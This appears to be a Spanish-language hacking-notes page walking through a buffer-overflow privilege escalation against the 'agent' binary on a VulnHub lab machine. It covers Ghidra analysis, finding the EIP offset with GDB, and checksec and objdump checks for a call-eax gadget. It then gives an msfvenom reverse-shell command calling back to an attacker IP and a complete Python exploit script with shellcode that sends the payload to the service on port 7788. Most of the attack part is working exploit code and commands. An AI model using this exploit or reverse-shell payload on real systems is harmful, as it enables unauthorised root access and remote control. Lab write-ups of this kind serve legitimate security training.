> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/useful-resources/exploit-development/linux-buffer-overflow-agent-binary.md).

# Desbordamiento de búfer en Linux - binario Agent

{% hint style="info" %}
El siguiente desbordamiento de búfer resulta de una escalada de privilegios en una máquina de VulnHub. El bin vulnerable es un ejecutable llamado "agent" en un sistema Linux. Aquí está el procedimiento completo sobre cómo explotar la liberación del búfer:
{% endhint %}

## Explotación del desbordamiento de búfer:

**Identificación del binario "agent":**

* Usa el `find` comando para localizar el bin llamado "agent" en la máquina.
* El binario de 32 bits se encuentra con un archivo de texto que indica su ejecución por root en el puerto 7788.

<figure><img src="/files/2648e570e1223caba888cfbd7b217130b8f0b1ce" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7ec378a70bd6de1ea045e093aa4af832521dfe33" alt=""><figcaption></figcaption></figure>

**Transferencia del binario con Netcat:**

Uso de Netcat para transferir el binario de la máquina al equipo atacante.

<figure><img src="/files/7bc79ca617d3c336a6c74f3036c57029c61306f2" alt=""><figcaption></figcaption></figure>

**Análisis de código con** [ghidra ](https://ghidra-sre.org/)**:**

* Uso del software Ghidra para analizar el código fuente binario.

<figure><img src="/files/33bd10860c5bfe572b5f1856c987993d26bcbf55" alt=""><figcaption></figcaption></figure>

* Identificación de la variable "validcode" que contiene el ID del código en hexadecimal.

<figure><img src="/files/d442c25f83b99031363c12b9d036e671b2309408" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/45e1189761fd54ff20ca689faa6d955b5f94eba1" alt=""><figcaption></figcaption></figure>

**Análisis del desbordamiento de búfer:**

Usando la función "report()", detectar una vulnerabilidad de desbordamiento de búfer usando la función "gets".

<figure><img src="/files/48d9ef7e7642690ebe459647f8d91f5060f4f0d7" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/abf749542012e0fffce8be6241c36927cc7a7ed6" alt=""><figcaption></figcaption></figure>

**Explotación del desbordamiento de búfer con GDB:**

<figure><img src="/files/0d3123488eb7b0e47da1096177114c2d39232ef0" alt=""><figcaption></figcaption></figure>

* Se creó una cadena de 200 caracteres "A" para probar el desbordamiento.

```python
python -c 'print("A"*200)'
```

<figure><img src="/files/6e50b8b3687781f4c11763becbd5f82bf46e4a20" alt=""><figcaption></figcaption></figure>

Nótese el reemplazo del EIP (Instruction Pointer) con el comando "pattern create 200".

<figure><img src="/files/2df5d15f0708aa503486dd1f4a1092d3d03e9308" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d1c96b3d3acfdc26466a45d2b7494d89b02637ae" alt=""><figcaption></figcaption></figure>

* Identificación del desplazamiento con el comando "pattern offset $eip".

<figure><img src="/files/52a85de762859de9635247e08e20f75a997cbf06" alt=""><figcaption></figcaption></figure>

* Verificación con una inserción de una cadena EIP de 168 A + 4 caracteres B:

```python
python -c 'print("A"*168 + "B"*4)'
```

<figure><img src="/files/bcf3c63d73aa238b280ef7e83d0e956c7affa212" alt=""><figcaption></figcaption></figure>

* Validación de protecciones con el comando "checksec".

<figure><img src="/files/d44a1d7ca677b50d34092714776ccdac73b04017" alt=""><figcaption></figcaption></figure>

**Verificación de ASLR:**

Búsqueda de direcciones estáticas del binario con el comando "objdump -d agent | grep -i 'FF D0'".

```bash
objdump -d agent | grep -i "FF D0"
```

<figure><img src="/files/e3504f08287a1ca2f667ffb40061a9356517aa03" alt=""><figcaption></figcaption></figure>

**Creación de shellcode para la shell inversa:**

Uso de Metasploit para generar shellcode para una shell inversa.

```bash
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.71.128 LPORT=443 -b '/x00/x0a/x0d' -f c
```

<figure><img src="/files/c197a036c905ed3d6a36f0e6ea62de1c2b35afa0" alt=""><figcaption></figcaption></figure>

**Script de Python para la operación:**/ Escribiendo un script de Python para conectarse al servicio vulnerable y explotar el desbordamiento de búfer.

```python
#!/usr/bin/python3 

from struct import pack
import socket 

shellcode = (b"/xbf/x11/x58/xbb/xb7/xdb/xd7/xd9/x74/x24/xf4/x58/x31/xc9"
b"/xb1/x12/x31/x78/x12/x83/xc0/x04/x03/x69/x56/x59/x42/xb8"
b"/xbd/x6a/x4e/xe9/x02/xc6/xfb/x0f/x0c/x09/x4b/x69/xc3/x4a"
b"/x3f/x2c/x6b/x75/x8d/x4e/xc2/xf3/xf4/x26/x15/xab/x40/x36"
b"/xfd/xae/x4e/x37/x45/x27/xaf/x87/xdf/x68/x61/xb4/xac/x8a"
b"/x08/xdb/x1e/x0c/x58/x73/xcf/x22/x2e/xeb/x67/x12/xff/x89"
b"/x1e/xe5/x1c/x1f/xb2/x7c/x03/x2f/x3f/xb2/x44")


offset = 168 
payload = shellcode + b"A" * (offset - len(shellcode)) + pack("<I", 0x08048563) + b"/n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 7788))
s.recv(1024)
s.send(b"48093572/n")
s.recv(1024)
s.send(b"3/n")
s.recv(1024)
s.send(payload)
```

<figure><img src="/files/182760d4aae0770a43ff120669fceb0eb8d8551d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/useful-resources/exploit-development/linux-buffer-overflow-agent-binary.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
